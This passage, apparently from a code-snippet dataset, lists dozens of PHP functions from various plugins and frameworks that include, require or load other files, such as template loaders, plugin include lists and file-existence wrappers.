include_once('default/customer-completed-pre-order.php');\n include_once('default/notify-import-finished.php');\n include_once('default/notify-low-balance.php');\n include_once('default/notify-preorder.php');\n include_once('default/order-error.php');\n \n include_once('prepare/class-wp-emaila-custom-post.php');\n include_once('prepare/class-wp-radio-taxonomy.php');\n include_once('prepare/class-wp-email-custom-post-generator.php');\n \n include_once('wp-send-code-mail.php');\n include_once('wp-admin-error-mail.php');\n include_once('wp-admin-general-error.php');\n include_once('wp-admin-import-finished.php');\n }", "public function includes() {\n \n include_once( 'widgets/carousel.php' );\n include_once( 'widgets/fancy-text.php' );\n include_once( 'widgets/grid.php' );\n include_once( 'widgets/maps.php' );\n include_once( 'widgets/pricing-table.php' );\n include_once( 'widgets/progress-bar.php' );\n include_once( 'widgets/vertical-scroll.php' );\n \n }", "private function includes() {\n\t\t// functions\n\t\tinclude_once( 'includes/kopa-core-functions.php' );\n\n\t\t// settings class (special important class)\n\t\tinclude_once( 'includes/admin/class-kopa-admin-settings.php' );\n\n\t\t// frontend assets class\n\t\tinclude_once( 'includes/class-kopa-frontend-assets.php' );\n\n\t\t// abstract widget class\n\t\tinclude_once( 'includes/abstracts/abstract-kopa-widget.php' );\n\n\t\tif ( defined( 'DOING_AJAX' ) ) {\n\t\t\t$this->ajax_includes();\n\t\t}\n\n\t\tif ( is_admin() ) {\n\t\t\tinclude_once( 'includes/admin/class-kopa-admin.php' );\n\t\t}\n\n\t}", "function _use($file)\n{\n include_once( $file );\n}", "public function executeScript($file, $database)\n {\n if($database != 'simpledb')\n return;\n\n $status = include $file;\n return $status;\n }", "function kernel_include_script($fileModule) {\r\n if (file_exists($fileModule)) {\r\n eval(\" require('$fileModule');\");\r\n } else {\r\n if (!defined(\"WEBSITE_RESPONSES\")) {\r\n define(\"WEBSITE_RESPONSES\", 006);\r\n }\r\n }\r\n}", "private function _include_files() {\n\n require_once( KP_DIR_PATH . 'includes/korapay-shortcode.php' );\n require_once( KP_DIR_PATH . 'includes/korapay-admin-settings.php' );\n require_once( KP_DIR_PATH . 'includes/korapay-payment-list-class.php' );\n require_once( KP_DIR_PATH . 'includes/vc-elements/simple-vc-pay-now-form.php' );\n\n if ( is_admin() ) {\n require_once( KP_DIR_PATH . 'includes/korapay-tinymce-plugin-class.php' );\n }\n\n }", "private function includes()\n\t\t{\n\t\t\trequire_once dirname( __FILE__ ) . '/sf-class-sanitize.php';\n\t\t\trequire_once dirname( __FILE__ ) . '/sf-class-format-options.php';\n\t\t\tnew SF_Sanitize;\n\t\t}", "public function includes() {\n\n\t\t\t/**\n\t\t\t * Functions used in frontend and admin\n\t\t\t */\n\t\t\tinclude_once( 'inc/wlfp-core-functions.php' );\n\n\t\t\tif ( $this->is_request( 'admin' ) ) {\n\t\t\t\tinclude_once( 'inc/admin/class-wlfp-admin.php' );\n\t\t\t}\n\n\t\t\tif ( $this->is_request( 'ajax' ) ) {\n\n\t\t\t}\n\n\t\t\tif ( $this->is_request( 'frontend' ) ) {\n\t\t\t\tinclude_once( 'inc/frontend/wlfp-functions.php' );\n\t\t\t}\n\t\t}", "function includeIfExists($file)\n{\n if (file_exists($file)) {\n return include $file;\n }\n}", "function includeIfExists($file)\n{\n if (file_exists($file)) {\n return include $file;\n }\n}", "protected function includeFunctionProgram() {\n require_once 'Help/HelpFunction.php';\n }", "private function includes()\n {\n }", "private function includes(){\n\n\t\tinclude( WPTT_ICS_FEED_FOLDER . '/EasyPeasyICS.php' );\n\n\t}", "function include_php($filename, $int_res=false)\r\n{\r\n\t$res = include($filename);\r\n\t$res = ($res === 1 && $int_res===false)?'':$res;\r\n\treturn $res;\r\n}", "function iceinclude($file, $box) {\n global $news_items; /* so the included files know about it */\n $incfile = BASEDIR . \"/files/\" . LANG . \"/$file\";\n if (!file_exists($incfile)) {\n $incfile = BASEDIR . \"/files/en/$file\";\n if (file_exists($incfile)) {\n if ($box) {\n include(BASEDIR . GENDIR . \"/cheader\");\n }\n include(\"$incfile\");\n if ($box) {\n include(BASEDIR . GENDIR . \"/cfooter\");\n }\n }\n } else {\n if ($box) {\n include(BASEDIR . GENDIR . \"/cheader\");\n }\n include(\"$incfile\");\n if ($box) {\n include(BASEDIR . GENDIR . \"/cfooter\");\n }\n }\n}", "private static function _includes()\n {\n /**\n * Includes\n */\n include_once 'functions/register-post-types.php';\n include_once 'functions/register-taxonomies.php';\n include_once 'functions/register-menus.php';\n }", "static function include_scripts(){\n\t\t//self::include_css();\n\t\tself::include_js();\n\t}", "public function includes()\n {\n // Incluir functions.php\n include_once( WI_ABSPATH . 'functions.php' );\n }", "public function includes()\n {\n add_action('plugins_loaded', array($this, 'load_php_files'), 10);\n add_action('init', array(__CLASS__, 'prefix_add_api_endpoints'));\n add_action('template_redirect', array($this, 'prefix_do_api'));\n add_filter('posts_request', array($this, 'disable_main_query_wordpress'), 10, 2);\n add_action('wp_enqueue_scripts', array($this, 'register_js_script'), 5);\n }", "public function includes() {\n\n\t\t\t/**\n\t\t\t * Functions used in frontend and admin\n\t\t\t */\n\t\t\tinclude_once( 'inc/wd-core-functions.php' );\n\n\t\t\tif ( $this->is_request( 'admin' ) ) {\n\t\t\t\tinclude_once( 'inc/admin/class-wd-admin.php' );\n\t\t\t}\n\n\t\t\tif ( $this->is_request( 'frontend' ) ) {\n\t\t\t\tinclude_once( 'inc/frontend/wd-functions.php' );\n\t\t\t\tinclude_once( 'inc/frontend/wd-template-hooks.php' );\n\t\t\t\tinclude_once( 'inc/frontend/class-wd-shortcode.php' );\n\t\t\t}\n\t\t}", "public static function include_physical ( $fname , $auto_run = TRUE )\n {\n if ( file_exist ( $fname ) === FALSE )\n {\n RETURN FALSE;\n }\n $code = file_get_contents ( $fname );\n if ( $auto_run === FALSE )\n {\n return $code;\n }\n eval ( str::keepafter_str ( \"<?php\" , $code ) );\n return $code;\n }", "private function includes() {\n\t\t\t// By default, comments are disjoined from the other post types.\n\t\t\trequire_once( $this->includes_dir . 'comments.php' );\n\n\t\t\t// Settings\n\t\t\trequire_once( $this->includes_dir . 'settings.php' );\n\t\t}", "public function includes() {\n\t\t\t//require_once(ABSPATH . 'wp-admin/includes/nav-menu.php');\n\t\t}", "public function includes() {\n\n\t\t\tif ( ( ! is_admin() || defined( 'DOING_AJAX' ) ) && ! defined( 'DOING_CRON' ) ) {\n\t\t\t\tinclude_once( 'inc/frontend-functions.php' );\n\t\t\t}\n\n\t\t\tif ( defined( 'DOING_AJAX' ) ) {\n\t\t\t\tinclude_once( 'inc/ajax-functions.php' );\n\t\t\t}\n\t\t}", "function _includes() {\n require_once($this->plugin_dir . 'include/actions_class.php');\n require_once($this->plugin_dir . 'include/admin_actions_class.php');\n require_once($this->plugin_dir . 'include/admin_filters_class.php');\n require_once($this->plugin_dir . 'include/ui_class.php');\n require_once($this->plugin_dir . 'include/widget_class.php');\n require_once($this->plugin_dir . 'include/extra_help_class.php');\n require_once($this->plugin_dir . 'include/mobile-listener.php');\n }", "private function IncludeCore()\n {\n foreach ($this->core_files as $core_file) {\n $path = \"Core/\" . $core_file . \".php\";\n if (file_exists($path))\n include $path;\n else\n throw new Exception(\"There is no a file named '{$path}'.\", 404);\n }\n }", "private function includes() {\n\t\trequire_once( PRODUCT_LIST_DIR . 'classes/class-product_list.php' );\n\t\t//require_once( PRODUCT_LIST_DIR . 'classes/class-yc_admin_cursos-settings.php' );\n\t}", "public function __LoadFile($files)\n {\n\t!is_array($files)?$files = Array($files):false;\n\t\n\tforeach($files as $file) include $file;\n }", "function _tpl_include($filename)\n\t{\n\t\tif ( !empty($filename) )\n\t\t{\n\t\t\t$this->set_filenames(array($filename => $filename));\n\t\t\t$this->pparse($filename);\n\t\t}\n\t}", "function include_lang_file($file,$language)\n {\n global $iConfig;\n $def_lang = $iConfig['default_lng'];\n if (empty($language)) $language = $def_lang;\n $path = 'language/'.$language.$file;\n if (!file_exists($path))\n {\n $path='language/en'.$file;\n } \n if (file_exists($path))\n {\n @include($path); \n }\n }", "function run()\n{\n //Require classes\n require_once getPath('class_path').'/class.Session.php';\n\n //Require resources\n require_once getPath('resources_path').'/session.php';\n require_once getPath('resources_path').'/strings.php';\n require_once getPath('resources_path').'/icons.php';\n require_once getPath('resources_path').'/functions.php';\n\n //Require template\n include_once getPath('template_path').'/template.php';\n}", "public function support($file);", "public function add_include($include)\n \t{\n \t\t$this->includes[$include]=$include;\n \t}", "public function include_functionality() {\n\n if ( false === $this->check_dependencies() ) {\n return;\n }\n\n /**\n * In case your plugin is large consider using autoloader instead\n */\n\n /**\n * Libraries\n */\n include_once( GOAPOSTAS_PATH . 'libs/class-gamajo-template-loader.php' );\n\n /**\n * Common plugin functionality for all modules\n */\n include_once( GOAPOSTAS_PATH . 'include/core/class-install.php' );\n include_once( GOAPOSTAS_PATH . 'include/core/class-uninstall.php' );\n include_once( GOAPOSTAS_PATH . 'include/core/class-template-loader.php' );\n include_once( GOAPOSTAS_PATH . 'include/core/class-assets-loader.php' );\n include_once( GOAPOSTAS_PATH . 'include/core/class-shortcode.php' );\n\n /**\n * Navigation module\n */\n include_once( GOAPOSTAS_PATH . 'include/modules/navigation/class-nav-menu-walker.php' );\n include_once( GOAPOSTAS_PATH . 'include/modules/navigation/class-menu-extra-items.php' );\n\n /**\n * Ads shortcode module\n */\n include_once( GOAPOSTAS_PATH . 'include/modules/adrotate/class-adrotate-vc-element.php' );\n\n /**\n * Acf config\n */\n include_once( GOAPOSTAS_PATH . 'include/admin/acf-config.php' );\n include_once( GOAPOSTAS_PATH . 'include/admin/acf-field-select-adrotate.php' );\n\n\n /**\n * Admin required files only\n */\n if ( is_admin() ) {\n\n\n }\n\n }", "private function require_files() {\n\t\tif ( file_exists( ABSPATH . '/wp-admin/includes/screen.php' ) ) {\n\t\t\tinclude_once ABSPATH . '/wp-admin/includes/screen.php';\n\t\t}\n\t\tinclude_once ABSPATH . '/wp-admin/includes/template.php';\n\t\tinclude_once ABSPATH . '/wp-admin/includes/misc.php';\n\t\tinclude_once ABSPATH . '/wp-admin/includes/class-wp-upgrader.php';\n\t\tinclude_once ABSPATH . '/wp-admin/includes/plugin.php';\n\t}", "static function coreview( $file, $__include_parameters = array() ) {\n\t\textract( $__include_parameters );\n\t\tob_start();\n\t\tinclude wpgrade::corepartial( $file );\n\n\t\treturn ob_get_clean();\n\t}", "function includephp($filename) {\n // make predefined variables global, so most simple scripts can be used here\n\n // apache (names taken from PHP doc)\n global $GATEWAY_INTERFACE, $SERVER_NAME, $SERVER_SOFTWARE, $SERVER_PROTOCOL;\n global $REQUEST_METHOD, $QUERY_STRING, $DOCUMENT_ROOT, $HTTP_ACCEPT;\n global $HTTP_ACCEPT_CHARSET, $HTTP_ACCEPT_ENCODING, $HTTP_ACCEPT_LANGUAGE;\n global $HTTP_CONNECTION, $HTTP_HOST, $HTTP_REFERER, $HTTP_USER_AGENT;\n global $REMOTE_ADDR, $REMOTE_PORT, $SCRIPT_FILENAME, $SERVER_ADMIN;\n global $SERVER_PORT, $SERVER_SIGNATURE, $PATH_TRANSLATED, $SCRIPT_NAME;\n global $REQUEST_URI;\n\n // php (taken from PHP doc)\n global $argv, $argc, $PHP_SELF;\n\n // other\n global $PATH_INFO, $HTTPS, $HTTP_RAW_POST_DATA, $HTTP_X_FORWARDED_FOR;\n\n if (@file_exists($filename) ) {\n include_once($filename);\n }\n}", "function qode_membership_include_shortcodes_file() {\n\t\tforeach(glob(QODE_MEMBERSHIP_SHORTCODES_PATH.'/*/load.php') as $shortcode_load) {\n\t\t\tinclude_once $shortcode_load;\n\t\t}\n\t\t\n\t\tdo_action('qode_membership_action_include_shortcodes_file');\n\t}", "function get_header($file=''){\n global $config;\n static $header_loaded = false;\n if($file == ''){//load included file\n if(!$header_loaded)\n {//header loads first time\n $file = 'header.php'; \n $header_loaded = true;\n }else{\n $file = 'footer.php';\n }\n \n }\n \n $file = $config->physical_path . '/themes/' . $config->theme . '/' . $file;\n \n if(file_exists($file)){\n include $file;\n }else{\n myerror(__FILE__,__LINE__,'include file not found: ' . $file);\n }\n }", "function acf_include($filename = '')\n{\n}", "public function testInclude()\n {\n $client = static::createClient();\n $client->request('GET', '/include.php?part=site');\n $this->assertTrue($client->getResponse()->isSuccessful());\n $client->request('GET', '/include.php?part=json');\n $this->assertTrue($client->getResponse()->isSuccessful());\n }", "public static function load($file)\n\t{\n\t\treturn include $file;\n\t}", "function includes() {\r\n\t\t\trequire_once( trailingslashit( RV_PORTFOLIO_DIR ) . 'inc/public/class-rv-portfolio-registration.php' );\r\n\t\t}", "public function includeControllerFile() : bool\n {\n if(file_exists($this->routerEntity->getControllerFile())){\n include_once ($this->routerEntity->getControllerFile());\n return true;\n }\n return false;\n }", "public function includes() {\n\n include_once( 'includes/mapti-core-functions.php' );\n include_once( 'includes/mapti-conditional-functions.php' );\n\n if ( is_admin() ) {\n include_once( 'includes/admin/class-mapti-admin.php' );\n }\n\n // Load template loader\n if ( ! is_admin() || defined( 'DOING_AJAX' ) ) {\n include_once( 'includes/myarcade_api.php' );\n include_once( 'includes/class-mapti-template-loader.php' );\n include_once( 'includes/class-mapti-frontend-scripts.php' );\n }\n\n // Query class\n $this->query = include( 'includes/class-mapti-query.php' );\n\n include_once( 'includes/class-mapti-post-types.php' );\n include_once( 'includes/mapti-template-functions.php' );\n }", "function soy2_require(string $file, bool $isThrowException=false){\r\n\t$res = (boolean)@include_once($file);\r\n\tif($isThrowException && !$res)throw new Exception(\"File Not Found:\" . $file);\r\n\treturn $res;\r\n}", "public function includes() {\n\t\trequire_once( plugin_dir_path( __FILE__ ) . 'class-productflow-admin.php' );\n\t\trequire_once( plugin_dir_path( __FILE__ ) . 'class-productflow-filters.php' );\n\t}", "function exec_file($src_file) {\n if (file_exists($src_file)) {\n $info = pathinfo($src_file);\n if ($info[\"extension\"] == \"sql\") {\n\t\t\t\t$sqlContent = file_get_contents($src_file);\n\t\t\t\t$parser = new MySqlparser;\n\t\t\t\t$sqls = $parser->getSqlQueries($sqlContent); // individual queries\n\t\t\t\tforeach ($sqls as $sql) {\n\t\t\t\t\t$sql = trim($sql); // skip empty lines\n\t\t\t\t\tif ($sql) {\n\t\t\t\t\t\t$ret = $this->mysqli->query($sql);\n\t\t\t\t\t\tif (!$ret) {\n\t\t\t\t\t\t\techo \"$src_file: Failed query:\\n$sql\\n\";\n\t\t\t\t\t\t\techo $this->mysqli->error . PHP_EOL;\n\t\t\t\t\t\t\treturn FALSE;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn TRUE;\n }\n }\n\t\treturn FALSE;\n }", "function requireCoreFile($file)\n{\n require __DIR__ . '/' . $file . '.php';\n}", "function try_include()\r\n{\r\n\tglobal $admin, $ignore_admin;\r\n\r\n\t$params = func_get_args();\r\n\r\n\tforeach ($params as $tpl)\r\n\t{\r\n\t\tif ($admin and $ignore_admin!==1)\r\n\t\t{\r\n\t\t\t$fileh = EE_ADMIN_PATH.\"templates/\".$tpl.'.tpl';\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$fileh = EE_PATH.\"templates/\".$tpl.'.tpl';\r\n\t\t}\r\n\r\n\t\t$fileh = get_custom_or_core_file_name($fileh);\r\n\r\n\t\tif (file_exists($fileh) and filesize($fileh)>0)\r\n\t\t{\r\n\t\t\t// don't look in DB because of it's about real template\r\n\t\t\treturn parse_tpl($tpl);\r\n\t\t}\r\n\t}\r\n}", "private function includeFile($viewfilename) {\r\n\t\t$this->load($viewfilename);\r\n\t}", "public function includeTarget ()\n\t{\n\t\tif (!isset($_GET[$this->url_key]))\n\t\t{\n\t\t\t$take_first = true;\n\t\t\t$get_url_key = NULL;\n\t\t} else {\n\t\t\t$take_first = false;\n\t\t\t$get_url_key = $_GET[$this->url_key];\n\t\t}\n\n\t\t$i = 0;\n\t\t$inc = '';\n\t\twhile (($inc == '') && ($i < count($this->menu)))\n\t\t{\n\t\t\tif (($take_first == true) || ($get_url_key == $this->menu[$i]['url_value']))\n\t\t\t{\n\t\t\t\t$key_value \t= $this->url_key.'='.$this->menu[$i]['url_value'];\n\t\t\t\t$name \t\t= $this->menu[$i]['link_name'];\n\t\t\t\t$inc \t\t= sitePath().$this->menu[$i]['inc_file'];\n\t\t\t}\n\t\t\t$i++;\n\t\t}\n\n\t\tif ($inc != '')\n\t\t{\n\t\t\tadmin_updatePathway($key_value, $name); /* Update the pathway and go safely deeper in the admin */\n\n\t\t\tif (file_exists($inc))\n\t\t\t{\n\t\t\t\t// Activate the demo mode !\n\t\t\t\t!ADMIN_DEMO_MODE or admin_demoMode();\n\n\t\t\t\t// Give the required file some usefull variable (so, please do not redefine them...)\n\t\t\t\tglobal $db;\n\n\t\t\t\trequire($inc);\n\t\t\t} else {\n\t\t\t\techo LANG_ADMIN_ADMIN_MENU_CONFIG_ERROR_WITH_ADMIN_MENU_TABLE;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\techo LANG_ADMIN_ADMIN_MENU_TARGET_NOT_FOUND;\n\t\t}\n\t}", "public function includes() {\n\n\t\t/**\n\t\t * Core classes.\n\t\t */\n\t\tinclude_once F9JOBS_ABSPATH . 'includes/f9jobs-core-functions.php';\n\t\tinclude_once F9JOBS_ABSPATH . 'includes/class-f9jobs-post-types.php';\n\t\tinclude_once F9JOBS_ABSPATH . 'includes/class-f9jobs-install.php';\n\t}", "function db_include()\n\t{\n $args = func_get_args();\n\n foreach( $args as $arg )\n require_once( \"{$GLOBALS[WEBROOT]}/common/php/lib/db_lib/$arg.php\" );\n\t}", "function include_scripts()\n{\n\tglobal $scripts_included;\n\tforeach ($scripts_included as $value)\n\t{\n\t\techo $value;\n\t}\n}", "public function includes(){\n\t\t// Load the Email Designer class\n\t\trequire_once( trailingslashit( plugin_dir_path( __FILE__ ) ) . 'includes/class-email-designer.php' );\n\n\t\t// Load the Analytics class\n\t\trequire_once( trailingslashit( plugin_dir_path( __FILE__ ) ) . 'includes/class-analytics.php' );\n\t}", "static public function IncludeFile($fileName)\r\n\t{\r\n\t\ttry\r\n\t\t{\r\n\t\t\t// if file does not exist, then an exception would be generated\r\n\t\t\tif (! file_exists ( Site::$m_indexRoot . $fileName ))\r\n\t\t\t{\r\n\t\t\t\t// if class ExceptionMissFile exist the generate it's instance\r\n\t\t\t\tif (class_exists ( 'ExceptionMissFile' ))\r\n\t\t\t\t{\r\n\t\t\t\t\tthrow new ExceptionMissFile ( $fileName, $fileName );\r\n\t\t\t\t}\r\n\t\t\t\t// generates regular exception\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\tthrow new Exception ( $fileName );\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\treturn include_once Site::$m_indexRoot . $fileName;\r\n\t\t}\r\n\t\tcatch ( Exception $e )\r\n\t\t{\r\n\t\t\tprint (\"The missed file: \" . $e->getMessage () . \"<br />\\n\") ;\r\n\t\t}\r\n\t\t\r\n\t\treturn false;\r\n\t}", "public function includeHead()\n {\n require_once __DIR__ . '/templates/head.php';\n }", "function ui_insert( $ui_file )\n {\n require_once( \"{$GLOBALS[WEBROOT]}/ui/$ui_file.php\" );\n }", "public function ilio_blocks_include() {\n /* Load the plugin functions file. */\n require_once( ILIO_BLOCKS_INCLUDES_DIR . '/common.php' );\n }", "function opaljob_includes( $path, $ifiles=array() ){\n\n if( !empty($ifiles) ){\n foreach( $ifiles as $key => $file ){\n $file = $path.'/'.$file; \n if(is_file($file)){\n require($file);\n }\n } \n }else {\n\n $files = glob($path);\n foreach ($files as $key => $file) {\n if(is_file($file)){\n require($file);\n \n }\n }\n }\n}", "function getInclude() {return $this->readInclude();}", "function js_include()\n {\n $args = func_get_args();\n\n $js_lookup_table = [\n 'jquery' => '/ext/jquery-3.1.1.min.js',\n 'tinymce' => '/ext/tinymce/tinymce.min.js',\n 'pagination' => '/ext/pagination.min.js',\n 'featherlight' => '/ext/featherlight.min.js',\n 'featherlight-gallery' => '/ext/featherlight.gallery.min.js',\n 'chosen' => '/ext/chosen_v1.6.2/chosen.jquery.min.js',\n 'qtip' => '/ext/jquery.qtip.min.js'\n ];\n\n foreach( $args as $arg )\n {\n if( isset( $js_lookup_table[$arg] ) )\n $arg = $js_lookup_table[$arg];\n\n echo \"<script src=\\\"/common/js/$arg\\\"></script>\";\n }\n }", "public function __include($filename){\r\n if(!file_exists($filename)){\r\n \t$core = IBE_FRAMEWORK_PATH . 'default'. DS . $filename;\r\n \tif(!file_exists($core)){\r\n \tthrow new Ibe_Exception_Object(\"Arquivo de objeto nao encontrado. [\".$filename.\" ]\");\r\n \t}else{\r\n \t\t$filename = $core;\r\n \t}\r\n }\r\n \r\n ob_start();\r\n include_once($filename);\r\n $contents = ob_get_contents();\r\n ob_end_clean();\r\n return $contents;\r\n }", "function is_include_operator($code) {\n return $code === \"include\";\n }", "function include_action_file( $filename ) {\n include(sprintf(\"%s/../templates/%s\", dirname(__FILE__),$filename));\n}", "function includeService($tk) {\n\t\t$customPath = '';\n\n\t\t$modulePath = Cgn::getModulePath($tk->module, 'admin');\n\n\t\tif ($customPath != '' && !include($customPath.'/'.$tk->filename)) {\n\t\t\t//fallback\n\t\t\tCgn_ErrorStack::pullError('php');\n\t\t\tCgn_ErrorStack::pullError('php');\n\t\t\tif (!include($modulePath.'/'.$tk->filename) ) { \n\t\t\t\tCgn_ErrorStack::pullError('php');\n\t\t\t\tCgn_ErrorStack::pullError('php');\n\t\t\t\t$this->handleFileNotFound($tk);\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t\treturn TRUE;\n\t\t}\n\t\tif (!include($modulePath.'/'.$tk->filename) ) { \n\t\t\tCgn_ErrorStack::pullError('php');\n\t\t\tCgn_ErrorStack::pullError('php');\n\t\t\t$this->handleFileNotFound($tk);\n\t\t\treturn FALSE;\n\t\t}\n\t\treturn TRUE;\n\t}", "public function fileGetContentsExecPHP($filePath) {\n ob_start();\n include $filePath;\n return ob_get_clean();\n }", "function includeService($tk) {\n\t\t$customPath = '';\n\t\tif ( Cgn_ObjectStore::hasConfig('path://default/override/module/'.$tk->module)) {\n\t\t\t$modulePath = Cgn_ObjectStore::getConfig('path://default/override/module/'.$tk->module);\n\t\t} else if (Cgn_ObjectStore::hasConfig('path://default/custom/module/'.$tk->module)) {\n\t\t\t$customPath = Cgn_ObjectStore::getConfig('path://default/override/module/'.$tk->module);\n\t\t\t$modulePath = Cgn_ObjectStore::getConfig('path://default/cgn/module').'/'.$tk->module;\n\t\t} else {\n\t\t\t$modulePath = Cgn_ObjectStore::getConfig('path://default/cgn/module').'/'.$tk->module;\n\t\t}\n\n\t\tif ($customPath != '' && !include($customPath.'/'.$tk->filename)) {\n\t\t\t//fallback\n\t\t\tCgn_ErrorStack::pullError('php');\n\t\t\tCgn_ErrorStack::pullError('php');\n\t\t\tif (!include($modulePath.'/'.$tk->filename) ) { \n\t\t\t\tCgn_ErrorStack::pullError('php');\n\t\t\t\tCgn_ErrorStack::pullError('php');\n\t\t\t\t$this->handleFileNotFound($tk);\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t\treturn TRUE;\n\t\t}\n\n\t\tif (!include($modulePath.'/'.$tk->filename) ) { \n\t\t\tCgn_ErrorStack::pullError('php');\n\t\t\tCgn_ErrorStack::pullError('php');\n\t\t\t$this->handleFileNotFound($tk);\n\t\t\treturn FALSE;\n\t\t}\n\n\t\treturn TRUE;\n\t}", "function include_program( $strcprogramtype, $params=NULL ){ CProgram :: register( $strcprogramtype, $params ); }", "public function includes() {\n\t\t/**\n\t\t * Gateway Class.\n\t\t */\n\t\tinclude_once( paytwit_PATH . 'class-gateway.php' );\n\n\t}", "public function compile() { \n if (!count($this->loadedFiles)) return; \n $outputFile = $this->_options['includeFile']; \n $fp = fopen($outputFile, \"a+\"); \n if (flock($fp, LOCK_EX)) { \n if ($filesize = filesize($outputFile)) { \n fseek($fp, 0); \n $currentFile = fread($fp, $filesize); \n } else $currentFile = ''; \n \n if (!$currentFile) { \n $appendSource = \"<?php\\n\"; \n $existingClasses = array(); \n } else { \n $appendSource = ''; \n $existingClasses = $this->getClassesFromSource($currentFile); \n } \n \n for ($i = 0; $i < count($this->loadedFiles); $i++) { \n $filename = $this->loadedFiles[$i]; \n \n $f = @fopen($filename, \"r\", true); \n $fstat = fstat($f); \n $file = fread($f, $fstat['size']); \n fclose($f); \n $classes = $this->getClassesFromSource($file); \n \n if (!count(array_intersect($existingClasses, $classes))) { \n if (strpos($file, '__FILE__') === false) { \n $endFile = substr($file, -2) == '?>' ? -2 : null; \n $appendSource .= ($endFile === null ? substr($file, 5) : substr($file, 5, -2)); \n } else { \n $filePath = $this->realPath($filename); \n if ($filePath) { \n $file = str_replace('__FILE__', \"'$filePath'\", $file); \n $endFile = substr($file, -2) == '?>' ? -2 : null; \n $appendSource .= ($endFile === null ? substr($file, 5) : substr($file, 5, -2)); \n } \n } \n } else { \n $appendSource = ''; \n break; \n } \n } \n if ($appendSource) { \n fseek($fp, 0, SEEK_END); \n fwrite($fp, $appendSource); \n } \n flock($fp, LOCK_UN); \n } \n fclose($fp); \n }", "public function load_php_files()\n {\n // Load Template function\n require_once self::$plugin_path . '/template-function.php';\n\n /**\n * Load Custom UI Ajax Loading Component\n *\n * 1) Overhang.js | https://paulkr.github.io/overhang.js/\n * 2) PlaceHolder Loading | https://github.com/zalog/placeholder-loading\n * 3) Jquery Confirm | https://craftpip.github.io/jquery-confirm/\n * 4) Box Cover Modal\n */\n if (apply_filters('rewrite_api_request_ui_component', true) === true) {\n require_once self::$plugin_path . '/ui-component.php';\n }\n }", "public function load_files() {\n\n\t\t// Load our admin-related functions.\n\t\tif ( is_admin() ) {\n\t\t\trequire_once( GUPR_DIR . 'lib/admin.php' );\n\t\t}\n\t}", "public function includes()\n {\n require_once(__DIR__ . '/Widgets/SuperglobalsWidget.php');\n }", "private static function load_files() {\n\t\t\t// Classes.\n\t\t\tinclude_once ASTRA_ADDON_EXT_ADVANCED_HEADERS_DIR . 'classes/class-astra-ext-advanced-headers-data.php';\n\t\t\t// Load Astra Breadcrumbs.\n\t\t\tinclude_once ASTRA_ADDON_EXT_ADVANCED_HEADERS_DIR . 'classes/astra-breadcrumbs.php';\n\t\t}", "private function _include_js($file, &$r = FALSE) {\n\t\treturn $this->EE->elements->_include_js($file, $r);\n\t}", "public function formatInclude(){\r\n\t\tforeach($this->template as $k=>$v){\r\n\t\t\tif(preg_match('/{\\s+include ([\\w\\.]+)}/', $v, $matches)){\r\n\t\t\t\t$this->include_lines = ($k+1);\r\n\t\t\t\t$this->error_notice[($k+1)] = 'Include format error: The blank is not allowed with \\'{\\' near '.$matches[1].' in '.$this->template_file.$this->template_postfix.' on line '.($k+1);\r\n\t\t\t}\r\n\t\t\tif(preg_match('/{include ([\\w\\.]+)\\s+}/', $v, $matches)){\r\n\t\t\t\t$this->include_lines = ($k+1);\r\n\t\t\t\t$this->error_notice[($k+1)] = 'Include format error: The blank is not allowed with \\'}\\' near '.$matches[1].' in '.$this->template_file.$this->template_postfix.' on line '.($k+1);\r\n\t\t\t}\r\n\t\t\tif(preg_match('/{include ([\\w\\.]+)}/', $v, $matches)){\r\n\t\t\t\tif(!file_exists($this->template_dir.'/'.\"$matches[1]\")){\r\n\t\t\t\t\t$debugPage = file_get_contents('debug.tpl');\r\n\t\t\t\t\t$debugPage = preg_replace('/error/', \"$matches[1]\".' is not exist!', $debugPage);\r\n\t\t\t\t\tfile_put_contents($this->compile_dir.'/'.md5('debug').'.php', $debugPage);\r\n\t\t\t\t\trequire $this->compile_dir.'/'.md5('debug').'.php';\r\n\t\t\t\t\texit;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}", "function tpl_include ($path, \n array $content = array(), array $data = array()) {\n\n echo tpl_load($path, $content, $data);\n\n }", "function acquia_load_includes($type, $hook, $file = NULL) {\n\t// Determine implementations.\n\t$directories = acquia_get_directories($type);\n\t\n\t$file_list = array();\n\tforeach ($directories as $module => $path) {\n\t\t$file_list[$module] = drupal_system_listing(\"/{$file}.inc\\$/\", $path, 'name', 0);\n\t}\n\n\t// Load implementations.\n\t$info = array();\n\tforeach (array_filter($file_list) as $module => $files) {\n\t\tforeach ($files as $file) {\n\t\t\tinclude_once './' . $file->uri;\n\t\t\t$result = _acquia_plugins_process_include($module, $module . '_' . $file->name, dirname($file->uri), $hook);\n\t\t\tif (is_array($result)) {\n\t\t\t \n\t\t\t\t// Fill in defaults.\n\t\t\t\tforeach ($result as $tag => $properties) {\n\t\t\t\t\t$result[$tag]['module'] = $module;\n\t\t\t\t\tif ( !isset($properties['path']) ) {\n\t\t\t\t\t\t$result[$tag]['file'] = $file->name . '.inc';\n\t\t\t\t\t\t$result[$tag]['path'] = dirname($file->uri);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$info = array_merge($info, $result);\n\t\t\t}\n\t\t}\n\t}\n\treturn $info;\n}", "public function yiiInclude(){\n\t\t$yii = $this->getYiiIncludePath().$this->_yiiMap[$this->_yiiType].'.php';\n\t\tif ( isset($this->_yiiMap[$this->_yiiType]) && is_file($yii)){\n\t\t\trequire $yii;\n\t\t\tYii::setPathOfAlias('cms',CORE_DIR);\n\t\t}else{\n\t\t\tthrow new Exception('yii did not included.please check yii include path.you can set yii include path via Environment::setYiiIncludePath()');\n\t\t}\n\t}" ]
